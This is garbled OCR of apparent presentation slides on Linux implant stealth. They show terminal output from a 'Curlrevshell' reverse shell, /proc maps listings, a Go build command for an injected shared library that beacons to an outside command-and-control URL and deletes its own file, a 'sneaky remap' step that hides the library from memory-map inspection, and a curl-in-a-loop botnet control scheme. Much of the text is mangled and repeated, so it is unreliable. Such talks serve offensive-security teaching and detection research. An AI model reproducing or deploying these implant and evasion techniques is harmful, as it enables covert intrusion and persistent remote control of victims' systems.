r--p GOQDO202 fe:01 bBZ6
r--p BOODOEDA fe:@81 7478
r--5 O0DDDODE fe:81 7A90
rw-p QOODOB0S 00:00 @
r--p DOQDOYRE fe:81 7512
r-ap BOOZ6E08 fe:@1 7512
r--p @@17c89d fe:@1 7512
r--p BQlcredd fe:81 7512
re-p 80143008 fe:81 7512
rv-p BODROG0E B0:0a B

Ops - {!Curl)revshell T%2

Smps . curlre
Atmp/ . curlre
Atmp/ . eurlre
ftmp/ . curlrc
ftmpd . ourlrc

Fusr/lib/localesC. utFB/LC_CTYPE

Fusr/lib/locale/C, ut FE/LC_NUMERIC
fusr/lib/locales/C. ut FE/LC _TIME

Auser/Tib/locale/C, utFE/LC_COLLATE

Jusr/Lib/localesC, ut FE/LC_MONETARY
Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache

Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
fusr/lib/xB6_b64-1linux-gnu/libe.s0.6
Fusr/lib/xB6_B4-1linux-gnu/libc.s0.6
Fusr/lib/xB6_64-1inux-gnu/libc. 50.6
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Files we shouldn't have mapped

ane
7fe558:00000 - 7 fe559600000

7Fe559000008 -7 fe55908c008 r--p 0000008 fe:@1 445
7Fe55968e000-7fe559904000) r-xp| 0008000 fe:B1 445
r--p BQ304000 fe:81 445
r--p 8384008 fe:81 445
re-p BA5SboB0d fe:@1 445

7FaS59904000 - 7 feS59985000
TFes59985008- 7 fesS59%hb 700
TFes59bb7ond- 7 fes59co0nng
TFe559c00008-7fe559c41008
TFe559cc0000 - 7 Fe559d3000S
7 Fes50d3b00E - 7 fes5040b0BE
7Fes59d49b00a -7 FeS59dF 2008
7 FeS59df2008-7fes59df 3008
7FeS50dF3008-7 fe559dF4D00
7 Fe5504F4000- 7 fe5594F 5000
T fe5594 5000 -7 fe559d 6008
7 FeS59dFE008- 7 feS59dFdoed
7Fe559dfdopd- 7 fe559e0000d
7Fe550:00008 - 7 fe550a 20008
TFe550e26000- 7 feS59F7 chbd
7 FeS59f 7 clel- 7 feS59fcFopa
7 FeS509f cFo0R- 75591 d3008
7FeS59Fd3000- 7 fes559FdS000
7Fe550f dSP00-7Fe550F e 2000

rw-p 00020 00:00 @

r-p Q0000008 00:09 @
rv-p BO00DS0S DO:8d @
re-p 02000200 D00 @

r--p QODPORGA fe:81 6338
r--p 00D0E0a fe.81 7474
r--p GORDODA fe:B1 7483
r--p GOQDO202 fe:01 bBZ6
r--p BOODOEDA fe:@81 7478
r--5 O0DDDODE fe:81 7A90

rw-p GOODRG0A 0200 @

r--p DOQDOYRE fe:81 7512
r-ap BOOZ6E08 fe:@1 7512
r--p @@17c89d fe:@1 7512
r--p BQlcredd fe:81 7512
re-p 80143008 fe:81 7512

ri-p BO00DB0E 0O:00 @

Ops - {!Curl)revshell T%2

fmps . curlre
Atmp/ . curlrc
ftmp/ . eurlre
ftmp/ . curlrc
ftmpd . ourlrc

Fusr/lib/localesC. utFB/LC_CTYPE

Fusr/lib/locale/C, ut FE/LC_NUMERIC
fusr/lib/locales/C. ut FE/LC _TIME

Auser/Tib/locale/C, utFE/LC_COLLATE

Jusr/Lib/localesC, ut FE/LC_MONETARY
Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache

Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
fusr/lib/xB6_b64-1linux-gnu/libe.s0.6
Fusr/lib/xB6_B4-1linux-gnu/libc.s0.6
Fusr/lib/xB6_64-1inux-gnu/libc. 50.6
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The plan

[ BN ] Ops - (ICurljrevshell TH2
7fe558c00000- 7 fe559600088 rw-p G00DODDO 00:00 @

7Fe559000008 -7 fe55908c008 r--p 0000008 fe:@1 445 Smps . curlre

TFeS506Ee008- 7 fe550904008 r-xp 00Rc00d fe:81 445 Atmp/ . curlre

7Fes59909d000 -7 fe559985008 r--p G0304000 fe:91 445 Atmp/ . eurlre

TFes59985008-7fe559%b 7008 r--p G0384008 fe:01 445 ftmp/ . curlrc

7Fes59b7008-7 fes59c0000d re-p MASHEREOE fe:@1 445 Ftmp/ . ourlrc

TFe5350C00008-7fe550c41008 rv-p QO0DOE0E D00 O
7Fe550ccOBBl-7Fe559430088 rw-p BOODBDOD OO0 @
7fe559d3b00a- 7 fe550d96000 rw-p 0O0DRARH BO:89 0

7Fe559d9bd00 -7 fe559df 2008 r--p GO0DOEGE fe:01 6338 Susr/lib/locales/C.ut FB/LC_CTYPE
7FeS59df2000-7fes59dfI008 r--p G00DODDA fe:@l 7474 Ausr/lib/locale/C, ut FE/LC_NUMERIC
7fe559dfI000-7Fe550dF4000 r--p DOODDBDD fe:01 7483 fusr/lib/locales/C. ut FE/LC _TIME

7 Fe55094F4008- 7 fe550d4f5008 r--p G0QDOROA fe:01 bB26 Jusr/lib/ locale/C, utFE/LC_COLLATE
7550450008~ 7 fe559dfo0ed r--p G00DOEOA fe:81 7478 Jusr/Lib/localesC, utFE/LC_MONETARY
7 feS59dfobed-7fe559dfdodd r--s AO0BOODE fe:81 TA98 Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache
7Fes59d fddbd-7 fe559e00008 rw-p 0000000 00:00 0

7fe559:00008 -7 fe55% 20008 r--p 00000808 fe:01 7512 Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
TFe559e26000-7fe559F7c0Bd r-xp AOOZ6R0E@ fe:@1 7517 Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
7feS59f7cl0n-7fe559Fcfid r--p BO17cBD@ fe:01 7512 fusr/1ib/xB6_B64-1inux-gnu/libc. 0.6
7fe539fcfRRR-7fe5591d3000 r--p 0Q1lcfodd fe:@1 V512 Jusr/lib/xE6_B4-linux-gnu/libc.s0.6
7FeS50Fd3008-7feS59FdS008 rw-p 82143808 fe: @1 7512 Fusr/lib/xB6_64-1inux-gnu/libc. 50.6

TfeS50fdS000-7fe559fe2008 rw-p GR0R00H0 00:00 @
RIS
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The plan

ace

7Fes58e00000-7fe559600008 rv-p DOODDO00 00:00 @

7Fe559000008 -7 fe55908c008 r--p 0000008 fe:@1 445
7FeS506EeBBd-7fe55990d008 r-xp Q008000 fe:@1 445
7Fes59909d000 -7 fe559985008 r--p G0304000 fe:91 445
TFes59985000-7fe5590b7008 r--p 0384000 fe: 01 445
7Fes59b7008-7 fes59c0000d re-p MASHEREOE fe:@1 445
TFe559c00008-7fed59c4108d rw-p GOODBSOE 00299 @

7Fe550ccOBBl-7Fe559430088 rw-p BOODBDOD OO0 @

7fe550d3b000 -7 fe550d90008 rw-p 0000000 00:00 @

7Fe559d9bd00 -7 fe559df 2008 r--p GO0DOEGE fe:01 6338
7Fes59df2000-7fes559df 3000 r--p G00DODOE fe:01 7474
7fe559dfI000-7Fe550dF4000 r--p DOODDBDD fe:01 7483
7 Fe55094F4008- 7 fe550d4f5008 r--p G0QDOROA fe:01 bB26
7550450008~ 7 fe559dfo0ed r--p G00DOEOA fe:81 7478
7fe559dfOR0R-7 fe559dfdddd r--s 0000008 fe:@1 7898
7Fes59d fddbd-7 fe559e00008 rw-p 0000000 00:00 0

7fe559:00008 -7 fe55% 20008 r--p 00000808 fe:01 7512
TFe559e26000-7fe559F7c0Bd r-xp AOOZ6R0E@ fe:@1 7517
7 Fe559f 7 cedd-7feS59fcfoid r--p GO17cldd fe:@1 7512
7fe559Fcfopd-7fe559Fd3088 r--p @Q1lcfddd fe:81 7512
7FeS50Fd3008-7feS59FdS008 rw-p 82143808 fe: @1 7512
7Fes50fdS0e-7fes59fe008 rv-p GO00DOGE 00:00 @

mmap (2)

Ops - {!Curl)revshell T%2

Smps . curlre
Atmp/ . curlre
Atmp/ . eurlre
ftmp/ . curlrc
Ftmp/ . ourlrc

Jusr/lib/localesC. ut FE/LC_CTYPE

Fusr/lib/locale/C, ut FE/LC_NUMERIC
fusr/lib/locales/C. ut FE/LC _TIME

Jusr/lib/ N ocale/C, utFE/LC_COLLATE
Jusr/lib/localesC, ut FE/LC_MONETARY
Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache

Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
fusr/lib/xB6_b64-1linux-gnu/libe.s0.6
Jusr/lib/xB6_B4-linux-gnu/libc.s0.6
Fusr/lib/xB6_64-1inux-gnu/libc. 50.6
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The plan

ace

7Fes58e00000-7fe559600008 rv-p DOODDO00 00:00 @

7Fe559000008 -7 fe55908c008 r--p 0000008 fe:@1 445
7FeS506EeBBd-7fe55990d008 r-xp Q008000 fe:@1 445
7Fes59909d000 -7 fe559985008 r--p G0304000 fe:91 445
TFes59985008-7fe559%b 7008 r--p G0384008 fe:01 445
7Fes59b7008-7 fes59c0000d re-p MASHEREOE fe:@1 445
TFe559c00008-7fed59c4108d rw-p GOODBSOE 00299 @

7Fe550ccOBBl-7Fe559430088 rw-p BOODBDOD OO0 @

7Fe559d3b00a- 7 fe559496088 rw-p G00DOSOA 0O 0

7fas59d9p008- 7 fe559dF 2008 r--p GO0DOEOA fe:@1 6338
7FeS59dfZ0nR-7feS559dfI000 r--p CO0DOOOQ fe:Bl 7474
7fe559dfI000-7Fe550dF4000 r--p DOODDBDD fe:01 7483
7 Fe55094F4008- 7 fe550d4f5008 r--p G0QDOROA fe:01 bB26
T Fa5594F5000-7 fa559dfe000 r--p ODODORO fe:01 7478
7 feS50dfE000-7fe559dfdoed r--s 00DDO0a fe:@1 7398
7Fes59d fddbd-7 fe559e00008 rw-p 0000000 00:00 0

7fe559:00008 -7 fe55% 20008 r--p 00000808 fe:01 7512
TFe559e26000-7fe559F7c0Bd r-xp AOOZ6R0E@ fe:@1 7517
7Fe559f 7cobl-7fe559fcfodd r--p 0170008 fe:@1 7512
7feS50fcfoRR-7fes359Fd3088 r--p BQ1cfidd fe:@1 7512
7FeS59Fd3000-7feS59FdS000 rw-p Q143800 fe:@1 7512
7Fes50fd5008-7fe559Fe 008 rv-p DOODDEOE DO:00 @

Temporary Buffer

Ops - {!Curl)revshell T%2

Smps . curlre
Atmp/ . curlre
Atmp/ . eurlre
ftmp/ . curlrc
ftmpd . ourlrc

Jusr/lib/localesC. ut FE/LC_CTYPE

Fusr/lib/locale/C, ut FE/LC_NUMERIC
fusr/lib/locales/C. ut FE/LC _TIME

Jusr/lib/ N ocale/C, utFE/LC_COLLATE
Jusr/Lib/locales/C, ut FE/LC_MONETARY
Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache

Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
fusr/lib/xB6_b64-1linux-gnu/libe.s0.6
Fusr/lib/xB6_B4-linux-gnuw/libc.s0.6
Fusr/lib/xB6_64-1inux-gnu/libc. 50.6
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The plan

Temporary Buffer

ace Ops - (!Curl)revshell THz2
7 Fe558e00000- 7 fe559600008 AR

7 Fe559600008 -7 fe55908 008 L f: @1 445 Smps . curlre

TFeS506Ee008 - 7 Fe55990d008 00800 fe:01 445 Atmp/ . curlre

7Fes59994000 -7 fe559985008 r--p G0304000 fe:@1 445 Atmp/ . eurlre
TFes59985008-7fe559%b 7008 r--p G0384008 fe:01 445 ftmp/ . curlrc

7Fes59b7008-7 fes59c0000d re-p MASHEREOE fe:@1 445 ftmpd . ourlrc
TFe559c00008-7fed59c4108d rw-p GOODBSOE 00299 @

7Fe550ccOBBl-7Fe559430088 rw-p BOODBDOD OO0 @

7fe550d3b000 -7 fe550d90008 rw-p 0000000 00:00 @

7Fe559d9bd00 -7 fe559df 2008 r--p GO0DOEGE fe:01 6338 Jusr/lib/localesC. ut FB/LC_CTYPE
7FeS59df2000-7fes59dfI008 r--p G00DODDA fe:@l 7474 Ausr/lib/locale/C, ut FE/LC_NUMERIC
7fe559dfI000-7Fe550dF4000 r--p DOODDBDD fe:01 7483 fusr/lib/locales/C. ut FE/LC _TIME

7 Fe55094F4008- 7 fe550d4f5008 r--p G0QDOROA fe:01 bB26 Jusr/lib/ locale/C, utFE/LC_COLLATE

T Fa5594F5000-7 fa559dfe000 r--p ODODORO fe:01 7478 Jusr/Lib/localesC, utFE/LC_MONETARY
7 feS59dfobed-7fe559dfdodd r--s AO0BOODE fe:81 TA98 Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache
7Fes59d fddbd-7 fe559e00008 rw-p 0000000 00:00 0

7fe559:00008 -7 fe55% 20008 r--p 00000808 fe:01 7512 Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
TFe559e26000-7fe559F7c0Bd r-xp AOOZ6R0E@ fe:@1 7517 Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
7 Fe559f 7cood-7fe559fc OB r--p G@17codd fe:@1 7512 fusr/lib/xB6_b64-1linux-gnu/libe.s0.6
7fe559fcfo0g-7fe5597d3000 r--p BQlcfo@d fe:81 7512 Fusr/lib/xB6_B4-linux-gnuw/libc.s0.6
7FeS50Fd3008-7feS59FdS008 rw-p 82143808 fe: @1 7512 Fusr/lib/xB6_64-1inux-gnu/libc. 50.6

7feS5507d5000-7fe559fe2000 ry-p GOODDOOA 00:00 0
Bl
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The plan

Temporary Buffer

ace Ops - (!Curl)revshell THz2
7 Fe558e00000- 7 fe559600008 (R0

7 Fe559600008 -7 fe55968e008 ANADDEDE : Smps . curlre

TFeS506Ee008- 7 fe55090d4008 r-xpoddied x Atmp/ . curlre

7 FeS59909d008 -7 feS59985008 r--p W'M fe:@1 445 Atmp/ . eurlre

TFes59985008-7fe559%b 7008 r--p G0384008 fe:01 445 ftmp/ . curlrc

7Fes59b7008-7 fes59c0000d re-p MASHEREOE fe:@1 445 ftmpd . ourlrc
TFe559c00008-7fed59c4108d rw-p GOODBSOE 00299 @

7Fe550ccOBBl-7Fe559430088 rw-p BOODBDOD OO0 @

7Fe559d3b00a- 7 fe559496088 rw-p G00DOSOA 0O 0

7fas59d9p008- 7 fe559dF 2008 r--p GO0DOEOA fe:@1 6338 Jusr/lib/localesC. ut FB/LC_CTYPE
7FeS59df2000-7fes59dfI008 r--p G00DODDA fe:@l 7474 Ausr/lib/locale/C, ut FE/LC_NUMERIC
7fe559dfI000-7Fe550dF4000 r--p DOODDBDD fe:01 7483 fusr/lib/locales/C. ut FE/LC _TIME

7 Fe55094F4008- 7 fe550d4f5008 r--p G0QDOROA fe:01 bB26 Jusr/lib/ locale/C, utFE/LC_COLLATE

T Fa5594F5000-7 fa559dfe000 r--p ODODORO fe:01 7478 Jusr/Lib/localesC, utFE/LC_MONETARY
7 feS59dfobed-7fe559dfdodd r--s AO0BOODE fe:81 TA98 Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache
7Fes59d fddbd-7 fe559e00008 rw-p 0000000 00:00 0

7fe559:00008 -7 fe55% 20008 r--p 00000808 fe:01 7512 Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
TFe559e26000-7fe559F7c0Bd r-xp AOOZ6R0E@ fe:@1 7517 Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
7 Fe559f 7cood-7fe559fc OB r--p G@17codd fe:@1 7512 fusr/lib/xB6_b64-1linux-gnu/libe.s0.6
7fe559fcfo0g-7fe5597d3000 r--p BQlcfo@d fe:81 7512 Fusr/lib/xB6_B4-linux-gnuw/libc.s0.6
7FeS50Fd3008-7feS59FdS008 rw-p 82143808 fe: @1 7512 Fusr/lib/xB6_64-1inux-gnu/libc. 50.6

7feS5507d5000-7fe559fe2000 ry-p GOODDOOA 00:00 0
Bl
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The plan

[ BN ] Ops - (ICurljrevshell TH2
7 Fe558e00000- 7 fe559600008 (R0

7 Fe559600008 -7 fe55968e008 ANADDEDE : Smps . curlre

TFeS506Ee008- 7 fe55090d4008 r-xpoddied x Atmp/ . curlre

7 FeS59909d008 -7 feS59985008 r--p BEM fe:@1 445 Atmp/ . eurlre

TFes59985008-7fe559%b 7008 r--p G0384008 fe:01 445 ftmp/ . curlrc

7Fes59b7008-7 fes59c0000d re-p MASHEREOE fe:@1 445 Ftmp/ . ourlrc
TFe559c00008-7fed59c4108d rw-p GOODBSOE 00299 @

7Fe550ccOBBl-7Fe559430088 rw-p BOODBDOD OO0 @

7Fe559d3b00a- 7 fe559496088 rw-p G00DOSOA 0O 0

7fas59d9p008- 7 fe559dF 2008 r--p GO0DOEOA fe:@1 6338 Jusr/lib/localesC. ut FB/LC_CTYPE
7FeS59df2000-7fes59dfI008 r--p G00DODDA fe:@l 7474 Ausr/lib/locale/C, ut FE/LC_NUMERIC
7fe559dfI000-7Fe550dF4000 r--p DOODDBDD fe:01 7483 fusr/lib/locales/C. ut FE/LC _TIME

7 Fe55094F4008- 7 fe550d4f5008 r--p G0QDOROA fe:01 bB26 Jusr/lib/ locale/C, utFE/LC_COLLATE
7550450008~ 7 fe559dfo0ed r--p G00DOEOA fe:81 7478 Jusr/Lib/localesC, utFE/LC_MONETARY
7 feS59dfobed-7fe559dfdodd r--s AO0BOODE fe:81 TA98 Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache
7Fes59d fddbd-7 fe559e00008 rw-p 0000000 00:00 0

7fe559:00008 -7 fe55% 20008 r--p 00000808 fe:01 7512 Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
TFe559e26000-7fe559F7c0Bd r-xp AOOZ6R0E@ fe:@1 7517 Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
7feS59f7cl0n-7fe559Fcfid r--p BO17cBD@ fe:01 7512 fusr/1ib/xB6_B64-1inux-gnu/libc. 0.6
7fe539fcfRRR-7fe5591d3000 r--p 0Q1lcfodd fe:@1 V512 Jusr/lib/xE6_B4-linux-gnu/libc.s0.6
7FeS50Fd3008-7feS59FdS008 rw-p 82143808 fe: @1 7512 Fusr/lib/xB6_64-1inux-gnu/libc. 50.6

TfeS50fdS000-7fe559fe2008 rw-p GR0R00H0 00:00 @
RIS
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The plan

[ BN ] Ops - (ICurljrevshell TH2
7Fes58e00000-7fe559600008 rv-p DOODDO00 00:00 @

7Fe559000008 -7 fe55908c008 r--p 0000008 fe:@1 445 Simps . curlre

7£e55968e000-7Fe55990d000 r-xp B00BeH00 fe:1 445

7Fes59909d000 -7 fe559985008 r--p G0304000 fe:91 445 p/.curlrc

TFes59985008-7fe559%b 7008 r--p G0384008 fe:01 445 ftmp/ . curlrc

7Fes59b7008-7 fes59c0000d re-p MASHEREOE fe:@1 445 Ftmp/ . ourlrc

TFe5350C00008-7fe550c41008 rv-p QO0DOE0E D00 O
7Fe550ccOBBl-7Fe559430088 rw-p BOODBDOD OO0 @
7fe559d3b00a- 7 fe550d96000 rw-p 0O0DRARH BO:89 0

7Fe559d9bd00 -7 fe559df 2008 r--p GO0DOEGE fe:01 6338 Susr/lib/locales/C.ut FB/LC_CTYPE
7FeS59df2000-7fes59dfI008 r--p G00DODDA fe:@l 7474 Ausr/lib/locale/C, ut FE/LC_NUMERIC
7fe559dfI000-7Fe550dF4000 r--p DOODDBDD fe:01 7483 fusr/lib/locales/C. ut FE/LC _TIME

7 Fe55094F4008- 7 fe550d4f5008 r--p G0QDOROA fe:01 bB26 Jusr/lib/ locale/C, utFE/LC_COLLATE
7550450008~ 7 fe559dfo0ed r--p G00DOEOA fe:81 7478 Jusr/Lib/localesC, utFE/LC_MONETARY
7 feS59dfobed-7fe559dfdodd r--s AO0BOODE fe:81 TA98 Ausr/lib/xB6_64-11nux-gnu/gcony/gconv-modules , cache
7Fes59d fddbd-7 fe559e00008 rw-p 0000000 00:00 0

7fe559:00008 -7 fe55% 20008 r--p 00000808 fe:01 7512 Ausr/Tib/xBe_64-linux-gnu/libc.s0.6
TFe559e26000-7fe559F7c0Bd r-xp AOOZ6R0E@ fe:@1 7517 Fuse/lib/xB6_64-1inux-gnu/libc.s0.6
7feS59f7cl0n-7fe559Fcfid r--p BO17cBD@ fe:01 7512 fusr/1ib/xB6_B64-1inux-gnu/libc. 0.6
7fe539fcfRRR-7fe5591d3000 r--p 0Q1lcfodd fe:@1 V512 Jusr/lib/xE6_B4-linux-gnu/libc.s0.6
7FeS50Fd3008-7feS59FdS008 rw-p 82143808 fe: @1 7512 Fusr/lib/xB6_64-1inux-gnu/libc. 50.6

TfeS50fdS000-7fe559fe2008 rw-p GR0R00H0 00:00 @
RIS
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o] B add_sneaky_remap.go (~/lutlolfsrc/libcrsconn) - VIM K2

Sneaky Remap s s

packogs main

G

add_sneaky_remap . 50

1so hide the library, if o tog is set
B * By 1. Stuart McMurray

3 * Creoted 28250996

18 * Lost Modified 28258987
@ & Linuxbuild TH2 11 *f

el

§ CG0_CFLAGS=-DSREM_DEBUG \ e
go build -buildmode c-shaored -o libcrsconn.so -ldflogs ‘-w -= X
-% moin.URL=https://ops.not-hdx.lol:5555/i0 = -
X wein. FingerprintaCkYRAZ Y LRPLVINST Lip MOV Bos LPCLE/ Ol= 17 "github._com/mag stergul s/ sneaky_remop”
-X main, UnlinkFile=/tmp/ . curlre 8 ) o i = '
-tags sneaky_remap

28 var UnlinkFile

Func initd) {

/™ Remove a file 1F we hove one to remove. */
24 iF " UnlinkFile {
5 ferr 0s. {UnlinkFile}; nil érr {
26 log. ("Error removing %s: %s", UnlinkFile, err)
}
& }
29 }
1.1 All
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o] B add_sneaky_remap.go (~/lutlolfsrc/libcrsconn) - VIM K2

Sneaky Remap s s

1 pockoge main

G

add_sneaky_remap . 50
Ilso hide the library, if o tog is set
By 1. Stuart McMurray
Creoted 28250996
18 * Last Modified ZQ25E8907
& & Linuxbuild H2 11 =/

&

‘.
-

i CGO_CFLAGS=-DSREM_DEBUG \ L tpert L

go build -buildmode c-shared -o libcrsconn.so -ldflogs '-w -5 e
=X main.URL=https:/Sops. not-hdx . 1ol :5555/10
-X main, Fingerprint=CkYNAZyh4tRPIVIMSTIXp JMSXNOVK7Ras LRHPLDZ/0T=
-X main, UnlinkFile=/tmp/ . curlre

-taogs sneaky_remap

17 _ "github.com/magisterguis/sneaky_remap”
15 )
16

28 var UnlinkFile

2 fune initQ {

; /™ Remove a file 1F we hove one to remove. */
24 iF " UnlinkFile {
5 ferr 0s. {UnlinkFile}; nil érr {

log. ("Error removing %s: %s", UnlinkFile, err)

}
& }
29 }
1.1 All

https://github.com/magisterquis/sneaky_ remap




o] B eaky_remap.go (~/lutlolfsrc/libcrsconn) - VIM K2

Sneaky Remap

* Also hide the 1
B * By 1. Stuart
3 * Creoted 28250996
18 * Lost Modified 28£2%

& & Linuxbuild H2 11 =/
1
§ CG0_CFLAGS=-DSREM_DEBUG \ e
go build -buildmode c-shaored -o libcrsconn.so -ldflogs ‘-w -= X
-% moin.URL=https://ops.not-hdx.lol:5555/i0 ' -
=% main. Fingerprint=CkYWAzyh4tRP1VZMSTINDJMSXNOVK 7805 LRHPCDZ/01= "github._com/mag stergul s/ sneaky_remop”
-X main, UnlinkFile=/tmp/ . curlre 8 ) o i = '
' -togs sneoky_remap

28 var UnlinkFile

: Func initd) {

/™ Remove a file 1F we have one to remove. */
24 iF " UnlinkFile {
5 ferr 0s. {UnlinkFile}; nil érr {
26 leg. Fr t{ Error removing %s: %s', UnlinkFile, err)
}
& }
29 }
1,1 All
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o] B add_sneaky_remap.go (~/lutlolfsrc/libcrsconn) - VIM K2

Sneaky Remap s s

1 pockoge main

G

add_sneaky_remap . 50
Ilso hide the library, if o tog is set
By 1. Stuart McMurray
Creoted 28250996
18 * Last Modified ZQ25E8907
& & Linuxbuild H2 11 =/

&

‘.
-

[stuartelinobuild o
i CGO_CFLAGS=-DSREM_DEBUG A L tpert L
go build -bunldmode c-shared -o libcrsconn.so -ldflogs '-w -5 e
=X main.URL=https:/Sops. not-hdx . 1ol :5555/10
-X main, Fingerprint=CkYNAZyh4tRPIVIMSTIXp JMSXNOVK7Ras LRHPLDZ/0T=
-X main, UnlinkFile=/tmp/ . curlre
-taogs sneaky_remap

"

17 _ "github.com/magi sterguis/sneaky_remap”
15 )
16

28 var UnlinkFile

2 fune initQ {

; /™ Remove a file 1F we hove one to remove. */
24 iF " UnlinkFile {
5 ferr 0s. {UnlinkFile}; nil érr {

log. ("Error removing %s: %s", UnlinkFile, err)

}
& }
29 }
1.1 All

https://github.com/magisterquis/sneaky_ remap




Activating the cloak of invisibility

o0 e Ops - Curlrevshell TE

13:17:39.352 Inserting crsfctrl-i...

13:17:39.483 Inserted 29735149 bytes from crs/ctrl-1
13:17:39. 484 SHAZ56: 19coe93lbleadecbdd48ef52d76e75166F0409e58b5F5F00bA04d6FE06efAfR13C
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Activating the cloak of invisibility

o0 e Ops - Curlrevshell TE

13:17:39.352 Inserting crsfctrl-i...

13:17:39.483 Inserted 29735149 bytes from crs/ctrl-1

13:17:39. 484 SHAZ56: 19coe93lbleadecbdd48ef5ld76e75166F0409e58b5F5F00bA04d6FE06efAfR13C
= acho Done.

Dane .,
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Activating the cloak of invisibility

o0 e Ops - Curlrevshell TE

13:17:39.352 Inserting crs/ctrl-i...
13:17:39.483 Inserted 29735149 bytes from crs/ctrl-1
13:17:39, 484 SHAZ56: 19coe93lblendechdd48ef5idiee?S166F0d9e58b5F5FERbd0ddefGbbef4fB13c

= acho Done.
Done .,
> echo "enable /tmp/.curlrc" | ( bash & ) &

an



Activating the cloak of invisibility

o0 e Ops - Curlrevshell t#®
13:17:39.35¢ Inserting crs/ctri-1

13:17:39.483 Inserted 29735149 bytes from crs/ctrl-i

13:17:39 484 SHAZ56: 19coe93lbleadecbd48ef52d76e75166F049e58b5F5F00bA04defE06efafR13C
= echo Done.

Daone.

> echo "enable /tmp/.curlrc” | ( bash & ) &

Mop to hide: start:@x7fcel7300000 len:@x82000 prot:@xl path:/tmp/.curlrc
Map to hide: start:@x7fcel788e000 len:@x281080 prot:@x5 path:/tmp/.curlrc
Mop to hide: start:@x7fcel?b@f00 len:@x78800 prot:@xl path:/tmp/.curlrc
Maop to hide: start:@x7fcel7b87000 len:@x232000 prot:dxl path:/tmp/.curlrc
Map to hide: start:@x7fcel?db90@@ len:@x4900@ prot:0x3 path:/tmp/.curlrc
Found ourselves in /tmp/.curlrc in 5 maps

312



Activating the cloak of invisibility

o0 e Ops - Curlrevshell TH
7:39.35¢ Inserting crs/ctri-1

13:17:39.483 Inserted 29235149 bytes from crs/ctrl-i

13:17:39.484 SHAZS56: 19coe9316leadechdd4Bef52d76e75166f040e58b5F5 FOMbAO4d6FEEGef4fR13c

= acho Done.

Dane .,

= echo "enable ftmp/.curlrc” | ( bash & ) &

Mop to hide: start:@x7fcel7300000 len:@x82000 prot:@xl path:/tmp/.curlrc
Mop to hide: start:@x7fcel788:000 len:@x281080 prot:0x5 path:/tmp/.curlre
Mop to hide: start:@x7fcel?b@f00 len:@x78800 prot:@xl path:/tmp/.curlrc
Maop to hide: start:@x7fcel7b87000 len:@x232000 prot:dxl path:/tmp/.curlrc
Mop to hide: start:@x7fcel7dbo00@ len:@x49200 prot:@x3 path:/ tmp/.curlrc
Found ourselves in /tmp/.curlrc in 5 maps

Remapping @x8e00d bytes for Ox7fcel7S0000d...ck :)

Remapping 0x2810@0 bytes for @x7fcel788e80@...o0k :)

Remapping Bx78009 bytes for @x7fcel7b@f@od. ..ok :)

Remapping @xZ23200@ bytes for @x7fcel7b87e00...ok :)

Remapping @x49008 bytes for @x7fcel7db9@6a.. .ok :)
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Activating the cloak of invisibility

[ ] 5] Ops - Curlrevshell T¥1

» Al 7 Tncartin o &
139,352 Inserting crs/ctrl-1

13:17:39.483 Inserted 29735149 bytes from crs/ctrl-1

13:17:39. 484 SHAZS56: 19coe93l6lendechdd48efSdd7ee/5106F od409e58bS 5 FR0bA0ddefEoEef4f813c
= acho Done,
Done .,

= echo "enable ftmp/.curlrc” | ( bash & ) &

Mop to hide: start:@x7fcel7300000 len:@x82000 prot:@xl path:/tmp/.curlrc
Mop to hide: start:@x7fcel788:000 len:@x281080 prot:0x5 path:/tmp/.curlre
Mop to hide: start:@x7fcel?b@f00 len:@x78800 prot:@xl path:/tmp/.curlrc
Maop to hide: start:@x7fcel7b87000 len:@x232000 prot:dxl path:/tmp/.curlrc
Mop to hide: start:@x7fcel7dbo00@ len:@x49200 prot:@x3 path:/ tmp/.curlrc
Found ourselves in /tmp/.curlrc in 5 maps

Remapping @x8e00d bytes for Ox7fcel7S0000d...ck :)

Remapping 0x2810@0 bytes for @x7fcel788e80@...o0k :)

Remapping Bx78009 bytes for @x7fcel7b@f@od. ..ok :)

Remapping @xZ23200@ bytes for @x7fcel7b87e00...ok :)

Remapping @x49008 bytes for @x7fcel7db9@6a.. .ok :)

Invisibility clook active!!!
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Sneakily remapped

[ B Ops - Sneakyrevshell E2

= while read -r ; do

if [[ "SRELPLY" == */tmp/.curlrc* ]]; then
echo 'Not deleted :('
break

| Mo M TR - A
T o e VS
R e L)
ol - Pl - S

LR Y

fi

= done </proc/$3/maps
> echo /ftmp/.curl*
Stmp/ . curl®
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Sneakily remapped

[ W ] Ops - Sneakyrevshell KH2

| = while read -r ; do

| > if [[ "SRELPLY" == */tmp/.curlrc* ]]; then
B echo 'Not deleted :('

E break

| = fi

- done </proc/$3/maps

> echo /ftmp/.curl*

| Stmp/ . curl®
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Curl in a Loop
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github.com/magisterquis/demobotnetcontroller




Curl in a Loop - The General |dea

httns:HnoEFLx.lolfﬁID |‘Cur‘lg//‘
a -

8 (
https:anpi?-sr;l;x.lclfﬂn |‘Cur‘13//‘

github.com/magisterquis/demobotnetcontroller
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Curl in a Loop - The General Idea (Look familiar?)

GET o
https://not-hd4x.1lol/5ID Cur‘ o
B




Curl in a Lupe

{ GET l o
https://not-hdx.lol/8ID Cur-‘ o
N - '
<L

n
\].

scalls

Iy
o)~

POST | o { J
